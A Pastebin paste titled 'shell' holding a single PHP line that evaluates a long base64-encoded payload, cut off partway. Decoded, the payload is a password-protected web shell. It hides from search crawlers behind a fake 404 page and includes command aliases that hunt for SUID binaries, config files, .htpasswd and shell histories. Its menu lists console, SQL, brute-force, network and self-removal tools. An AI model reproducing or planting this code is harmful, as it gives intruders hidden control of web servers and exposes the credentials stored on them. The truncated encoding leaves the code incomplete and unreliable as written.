Advertisement
Muhammad_Bilal

shell

May 11th, 2014
391
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 99.85 KB | None | 0 0
  1. <?php eval("?>".base64_decode("PD9waHAgDQogDQokYXV0aF9wYXNzID0gIjc0MWYzZmRkODUwMTdjYzUwYTJmYjVhNzg5NzM0Yjk1IjsgDQokY29sb3IgPSAiIzAwZmYwMCI7IA0KJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsgDQpAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7IA0KaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2dsZScpICE9PSBmYWxzZSApIHsgDQogICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7IA0KICAgIGV4aXQ7IA0KfSANCkBzZXNzaW9uX3N0YXJ0KCk7IA0KQGVycm9yX3JlcG9ydGluZygwKTsgDQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgDQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7IA0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7IA0KQHNldF90aW1lX2xpbWl0KDApOyANCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7IA0KQGRlZmluZSgnVkVSU0lPTicsICcyLjEnKTsgDQppZiggZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsgDQogICAgZnVuY3Rpb24gc3RyaXBzbGFzaGVzX2FycmF5KCRhcnJheSkgeyANCiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsgDQogICAgfSANCiAgICAkX1BPU1QgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsgDQp9IA0KZnVuY3Rpb24gcHJpbnRMb2dpbigpIHsgDQogICAgPz4gDQo8aDE+Tm90IEZvdW5kPC9oMT4gDQo8cD5UaGUgcmVxdWVzdGVkIFVSTCB3YXMgbm90IGZvdW5kIG9uIHRoaXMgc2VydmVyLjwvcD4gDQo8aHI+IA0KPGFkZHJlc3M+QXBhY2hlIFNlcnZlciBhdCA8Pz0kX1NFUlZFUlsnSFRUUF9IT1NUJ10/PiBQb3J0IDgwPC9hZGRyZXNzPiANCiAgICA8c3R5bGU+IA0KICAgICAgICBpbnB1dCB7IG1hcmdpbjowO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXI6MXB4IHNvbGlkICNmZmY7IH0gDQogICAgPC9zdHlsZT4gDQogICAgPGNlbnRlcj4gDQogICAgPGZvcm0gbWV0aG9kPXBvc3Q+IA0KICAgIDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz4gDQogICAgPC9mb3JtPjwvY2VudGVyPiANCiAgICA8P3BocCANCiAgICBleGl0OyANCn0gDQppZiggIWlzc2V0KCAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICkpIA0KICAgIGlmKCBlbXB0eSggJGF1dGhfcGFzcyApIHx8IA0KICAgICAgICAoIGlzc2V0KCAkX1BPU1RbJ3Bhc3MnXSApICYmICggbWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzICkgKSApIA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsgDQogICAgZWxzZSANCiAgICAgICAgcHJpbnRMb2dpbigpOyANCmlmKCBzdHJ0b2xvd2VyKCBzdWJzdHIoUEhQX09TLDAsMykgKSA9PSAid2luIiApIA0KICAgICRvcyA9ICd3aW4nOyANCmVsc2UgDQogICAgJG9zID0gJ25peCc7IA0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsgDQokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsgDQokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7IA0KaWYoIGlzc2V0KCAkX1BPU1RbJ2MnXSApICkgDQogICAgQGNoZGlyKCRfUE9TVFsnYyddKTsgDQokY3dkID0gQGdldGN3ZCgpOyANCmlmKCAkb3MgPT0gJ3dpbicpIHsgDQogICAgJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOyANCiAgICAkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsgDQp9IA0KaWYoICRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJyApIA0KICAgICRjd2QgLj0gJy8nOyANCiAgICAgDQppZigkb3MgPT0gJ3dpbicpIA0KICAgICRhbGlhc2VzID0gYXJyYXkoIA0KICAgICAgICAiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLCANCiAgICAgICAgIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsIA0KICAgICAgICAiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwgDQogICAgICAgICJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwgDQogICAgICAgICJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLCANCiAgICAgICAgIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsIA0KICAgICAgICAiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsIA0KICAgICAgICAiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwgDQogICAgICAgICJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCIgDQogICAgKTsgDQplbHNlIA0KICAgICRhbGlhc2VzID0gYXJyYXkoIA0KICAgICAgICAgICJMaXN0IGRpciIgPT4gImxzIC1sYSIsIA0KICAgICAgICAibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0+ICJsc2F0dHIgLXZhIiwgDQogICAgICAgICAgInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsIA0KICAgICAgICAiRmluZCIgPT4gIiIsIA0KICAgICAgICAgICJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsIA0KICAgICAgICAgICJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwNCiAgICAgICAgICAiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLCANCiAgICAgICAgICAiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogICAgICAgICAgImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsIA0KICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsIA0KICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsIA0KICAgICAgICAgICJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLCANCiAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwgDQogICAgICAgICAgImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLCANCiAgICAgICAgICAiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwgDQogICAgICAgICAgImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsIA0KICAgICAgICAgICJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsIA0KICAgICAgICAgICJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsIA0KICAgICAgICAgICJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwgDQogICAgICAgICAgImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsIA0KICAgICAgICAgICJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsIA0KICAgICAgICAiTG9jYXRlIiA9PiAiIiwgDQogICAgICAgICAgImxvY2F0ZSBodHRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIGh0dHBkLmNvbmYiLCANCiAgICAgICAgImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsIA0KICAgICAgICAibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLCANCiAgICAgICAgImxvY2F0ZSBwc3libmMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwc3libmMuY29uZiIsIA0KICAgICAgICAibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsIA0KICAgICAgICAibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsIA0KICAgICAgICAibG9jYXRlIGNmZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY2ZnLnBocCIsIA0KICAgICAgICAibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwgDQogICAgICAgICJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwgDQogICAgICAgICJsb2NhdGUgY29uZmlnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcucGhwIiwgDQogICAgICAgICJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwgDQogICAgICAgICJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLCANCiAgICAgICAgImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwgDQogICAgICAgICJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwgDQogICAgICAgICJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLCANCiAgICAgICAgImxvY2F0ZSAucHdkIGZpbGVzIiA9PiAibG9jYXRlICcucHdkJyIsIA0KICAgICAgICAibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwgDQogICAgICAgICJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwgDQogICAgICAgICJsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLmJhc2hfaGlzdG9yeSciLCANCiAgICAgICAgImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwgDQogICAgICAgICJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwgDQogICAgICAgICJsb2NhdGUgYmFja3VwIGZpbGVzIiA9PiAibG9jYXRlIGJhY2t1cCIsIA0KICAgICAgICAibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsIA0KICAgICAgICAibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiIgICAgIA0KICAgICk7IA0KDQpmdW5jdGlvbiBwcmludEhlYWRlcigpIHsgDQogICAgaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKSANCiAgICAgICAgJF9QT1NUWydjaGFyc2V0J10gPSAiVVRGLTgiOyANCiAgICBnbG9iYWwgJGNvbG9yOyANCiAgICA/PiANCjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PTw/PSRfUE9TVFsnY2hhcnNldCddPz4nPjx0aXRsZT48Pz0kX1NFUlZFUlsnSFRUUF9IT1NUJ10/Pi0gNDA0IE5vdCBGb3VuZCBTaGVsbCBWLjw/PVZFUlNJT04/PjwvdGl0bGU+IA0KPHN0eWxlPiANCiAgICBib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Y29sb3I6I2ZmZjt9IA0KICAgIGJvZHksdGQsdGggICAgeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wOyB9IA0KICAgIHNwYW4saDEsYSAgICB7IGNvbG9yOjw/PSRjb2xvcj8+ICFpbXBvcnRhbnQ7IH0gDQogICAgc3BhbiAgICAgICAgeyBmb250LXdlaWdodDogYm9sZGVyOyB9IA0KICAgIGgxICAgICAgICAgICAgeyBib3JkZXI6MXB4IHNvbGlkIDw/PSRjb2xvcj8+O3BhZGRpbmc6IDJweCA1cHg7Zm9udDogMTRwdCBWZXJkYW5hO21hcmdpbjowcHg7IH0gDQogICAgZGl2LmNvbnRlbnQgICAgeyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O30gDQogICAgYSAgICAgICAgICAgIHsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0gDQogICAgYTpob3ZlciAgICAgICAgeyBiYWNrZ3JvdW5kOiNmZjAwMDA7IH0gDQogICAgLm1sMSAgICAgICAgeyBib3JkZXI6MXB4IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87IH0gDQogICAgLmJpZ2FyZWEgICAgeyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfSANCiAgICBpbnB1dCwgdGV4dGFyZWEsIHNlbGVjdCAgICB7IG1hcmdpbjowO2NvbG9yOiMwMGZmMDA7YmFja2dyb3VuZC1jb2xvcjojMDAwO2JvcmRlcjoxcHggc29saWQgPD89JGNvbG9yPz47IGZvbnQ6IDlwdCBNb25vc3BhY2UsIkNvdXJpZXIgTmV3IjsgfSANCiAgICBmb3JtICAgICAgICB7IG1hcmdpbjowcHg7IH0gDQogICAgI3Rvb2xzVGJsICAgIHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0gDQogICAgLnRvb2xzSW5wICAgIHsgd2lkdGg6IDgwJTsgfSANCiAgICAubWFpbiB0aCAgICB7dGV4dC1hbGlnbjpsZWZ0O30gDQogICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30gDQogICAgLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9IA0KICAgIHByZSAgICAgICAgICAgIHtmb250LWZhbWlseTpDb3VyaWVyLE1vbm9zcGFjZTt9IA0KICAgICNjb3RfdGxfZml4ZWR7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjBweDtmb250LXNpemU6MTJweDtsZWZ0OjBweDtwYWRkaW5nOjRweCAwO2NsaXA6X3RvcDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxUb3ArZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudEhlaWdodC10aGlzLmNsaWVudEhlaWdodCk7X2xlZnQ6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsTGVmdCArIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRXaWR0aCAtIG9mZnNldFdpZHRoKTt9IA0KPC9zdHlsZT4gDQo8c2NyaXB0PiANCiAgICBmdW5jdGlvbiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsgDQogICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7IA0KICAgICAgICBpZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jOyANCiAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTsgDQogICAgICAgIGlmKHAyICE9IG51bGwpZG9jdW1lbnQubWYucDIudmFsdWU9cDI7IA0KICAgICAgICBpZihwMyAhPSBudWxsKWRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzOyANCiAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDsgDQogICAgfSANCiAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7IA0KICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOyANCiAgICAgICAgZG9jdW1lbnQubWYuc3VibWl0KCk7IA0KICAgIH0gDQogICAgZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgeyANCiAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsgDQogICAgICAgIHZhciBwYXJhbXMgPSAiYWpheD10cnVlIjsgDQogICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKSANCiAgICAgICAgICAgIHBhcmFtcyArPSAiJiIrZG9jdW1lbnQubWYuZWxlbWVudHNbaV0ubmFtZSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsgDQogICAgICAgIHNyKCc8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTs/PicsIHBhcmFtcyk7IA0KICAgIH0gDQogICAgZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsgICAgIA0KICAgICAgICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7IA0KICAgICAgICAgICAgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7IA0KICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7IA0KICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOyANCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOyANCiAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7IA0KICAgICAgICB9ICANCiAgICAgICAgZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpIHsgDQogICAgICAgICAgICByZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsgDQogICAgICAgICAgICBpZiAocmVxKSB7IA0KICAgICAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOyANCiAgICAgICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7IA0KICAgICAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOyANCiAgICAgICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgfSANCiAgICBmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgeyANCiAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApIA0KICAgICAgICAgICAgaWYocmVxLnN0YXR1cyA9PSAyMDApIHsgDQogICAgICAgICAgICAgICAgLy9hbGVydChyZXEucmVzcG9uc2VUZXh0KTsgDQogICAgICAgICAgICAgICAgdmFyIHJlZyA9IG5ldyBSZWdFeHAoIihcXGQrKShbXFxTXFxzXSopIiwgIm0iKTsgDQogICAgICAgICAgICAgICAgdmFyIGFycj1yZWcuZXhlYyhyZXEucmVzcG9uc2VUZXh0KTsgDQogICAgICAgICAgICAgICAgZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOyANCiAgICAgICAgICAgIH0gIA0KICAgICAgICAgICAgZWxzZSBhbGVydCgiUmVxdWVzdCBlcnJvciEiKTsgDQogICAgfSANCjwvc2NyaXB0Pg0KIA0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTt0b3A6MDtsZWZ0OjA7Ij4gDQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4gDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106Jyc/Pic+IA0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nPD89aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pPz4nPiANCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSc8Pz1pc3NldCgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJz8+Jz4gDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0nPD89aXNzZXQoJF9QT1NUWydwMiddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk6Jyc/Pic+IA0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDMgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsncDMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pOicnPz4nPiANCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJz8+Jz4gDQo8L2Zvcm0+IA0KPD9waHAgDQogICAgJGZyZWVTcGFjZSA9IEBkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOyANCiAgICAkcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsgDQogICAgJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsgDQogICAgJG1pbGxpbms9J2h0dHA6Ly9taWx3MHJtLmNvbS9zZWFyY2gucGhwP2Rvbmc9JzsgDQogICAgaWYoIHN0cnBvcygnTGludXgnLCAka2VybmVsKSAhPT0gZmFsc2UgKSANCiAgICAgICAgJG1pbGxpbmsgLj0gdXJsZW5jb2RlKCAnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsMCw2KSApOyANCiAgICBlbHNlIA0KICAgICAgICAkbWlsbGluayAuPSB1cmxlbmNvZGUoICRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSApOyANCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsgDQogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsgDQogICAgICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsgDQogICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsgDQogICAgICAgICRncm91cCA9ICI/IjsgDQogICAgfSBlbHNlIHsgDQogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7IA0KICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOyANCiAgICAgICAgJHVzZXIgPSAkdWlkWyduYW1lJ107IA0KICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107IA0KICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107IA0KICAgICAgICAkZ2lkID0gJGdpZFsnZ2lkJ107IA0KICAgIH0gDQogICAgJGN3ZF9saW5rcyA9ICcnOyANCiAgICAkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJ10pOyANCiAgICAkbj1jb3VudCgkcGF0aCk7IA0KICAgIGZvcigkaT0wOyRpPCRuLTE7JGkrKykgeyANCiAgICAgICAgJGN3ZF9saW5rcyAuPSAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsXCIiOyANCiAgICAgICAgZm9yKCRqPTA7JGo8PSRpOyRqKyspIA0KICAgICAgICAgICAgJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOyANCiAgICAgICAgJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOyANCiAgICB9IA0KICAgICRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOyANCiAgICAkb3B0X2NoYXJzZXRzID0gJyc7IA0KICAgIGZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKSANCiAgICAgICAgJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOyANCiAgICAkbSA9IGFycmF5KCdTZWMuIEluZm8nPT4nU2VjSW5mbycsJ0ZpbGVzJz0+J0ZpbGVzTWFuJywnQ29uc29sZSc9PidDb25zb2xlJywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTYWZlIG1vZGUnPT4nU2FmZU1vZGUnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnKTsgDQogICAgaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpIA0KICAgICRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOyANCiAgICAkbVsnU2VsZiByZW1vdmUnXSA9ICdTZWxmUmVtb3ZlJzsgDQogICAgJG1lbnUgPSAnJzsgDQogICAgZm9yZWFjaCgkbSBhcyAkayA9PiAkdikgDQogICAgICAgICRtZW51IC49ICc8dGggd2lkdGg9IicuKGludCkoMTAwL2NvdW50KCRtKSkuJyUiPlsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJycuJHYuJ1wnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8L2E+IF08L3RoPic7IA0KICAgICRkcml2ZXMgPSAiIjsgDQogICAgaWYgKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7IA0KICAgICAgICBmb3JlYWNoKCByYW5nZSgnYScsJ3onKSBhcyAkZHJpdmUgKSANCiAgICAgICAgaWYgKGlzX2RpcigkZHJpdmUuJzpcXCcpKSANCiAgICAgICAgICAgICRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5b